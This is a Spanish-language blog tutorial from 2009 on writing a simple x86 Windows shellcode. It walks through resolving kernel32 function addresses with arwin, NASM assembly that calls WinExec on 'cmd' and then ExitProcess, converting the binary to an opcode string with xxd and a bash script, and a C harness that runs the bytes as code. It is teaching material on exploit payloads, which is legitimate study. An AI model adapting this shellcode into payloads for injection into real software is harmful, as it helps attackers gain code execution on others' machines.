Creando una Shellcode (x86)
por lShadowl
Conocimientos previos requeridos: asm 32b y C
Conocimientos previos:
-Que es una shellcode?
“Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.(…)” >> http://es.wikipedia.org/wiki/Shellcode
Herramientas usadas en este tutorial¦Descarga:
Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows.
La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:
—–Categoria Devel—-
>binutils
>gcc
>nasm
—-Categoria System—-
>util-linux
Otras herramientas y scripts usados estan como codigo fuente en el tutorial.
Introduccion
Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el
proceso en 2 partes: codificacion en ensamblador y conversion a opcode.
El objetivo del tutorial es crear una shellcode que abra una cmd.
Codificacion en ensamblador
Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones “WinExec” [con que ejecutaremos la cmd] y “ExitProcess” [con la cual saldremos del programa], ambas se encuentran en la dll “kernel32″.
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a “arwin”, un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:
#include <windows.h> #include <stdio.h> /*************************************** arwin - win32 address resolution program by steve hanna v.01 vividmachines.com shanna@uiuc.edu you are free to modify this code but please attribute me if you change the code. bugfixes & additions are welcome please email me! to compile: you will need a win32 compiler with the win32 SDK this program finds the absolute address of a function in a specified DLL. happy shellcoding! ***************************************/ int main(int argc, char** argv) { HMODULE hmod_libname; FARPROC fprc_func; printf("arwin - win32 address resolution program - by steve hanna - v.01\n"); if(argc < 3) { printf("%s <Library Name> <Function Name>\n",argv[0]); exit(-1); } hmod_libname = LoadLibrary(argv[1]); if(hmod_libname == NULL) { printf("Error: could not load library!\n"); exit(-1); } fprc_func = GetProcAddress(hmod_libname,argv[2]); if(fprc_func == NULL) { printf("Error: could find the function in the library!\n"); exit(-1); } printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]); }
Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs.
Ya con arwin usaremos la linea:
$ arwin kernel32.dll WinExec
con lo cual obtendremos un resultado parecido a este:

El mismo proceso para buscar “ExitProcess”. >>

Ahora que tenemos las direcciones, pasemos al code en asm.
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BITS 32 ;especificamos que el code es 32bits jmp short cmd ;"cmd" a la pila init: mov edx,7C8623ADh ; 7C8623ADh>>direccion de WinExec a edx call edx ; hacemos la llamada (recordemos que "cmd" esta en la pila) mov edx,7C81CAFAh ; 7C8623ADh>>direccion de ExitProcess a edx call edx ; salimos cmd: CALL init db 'cmd',00h ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio
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Para cuestiones de seguimiento, llamaremos a este archivo “shc.asm”.
Conversion a opcode
Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:
$ nasm -f bin -o shc.bin shc.asm
En shc.bin tendremos algo como esto:
ëº#†|ÿÒºúÊ|ÿÒèíÿÿÿcmd
luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:
$ xxd -i shc.asm
y nos devolvera esto:

Y listo, tenemos nuestra shellcode lista en C:
unsigned char shc_bin[] = { 0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca, 0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x00 }; unsigned int shc_bin_len = 25;
Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:
#!/bin/bash if [ $# -ne 1 ] then printf "\n\tUsage: $0 filename.bin\n\n" exit fi filename=`echo $1 | sed s/"\.bin$"//` rm -f $filename.shellcode for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g` do echo -n "\\$i" >> $filename.shellcode echo -n "\\$i" done echo
De esta forma::
$ xxd-shellcode.sh shc.bin
Devolvera esto:

y en shc.shellcode los opcodes
\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64
Ahora veamos la plantilla en C para probarla
————————–
char code[] = "[b]OPCODES[/b]"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
————————–
Asi que tendriamos en sch.c …:
char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
Compilamos ($ gcc -o shc shc.c) y probamos:

Saludos!
Acerca de esta Entrada
Estás leyendo “Creando una Shellcode (x86),” una entrada de SSW
- Publicado:
- julio 21, 2009 / 3:28 pm
- Categoría:
- Tutoriales & Manuales
2 comentarios
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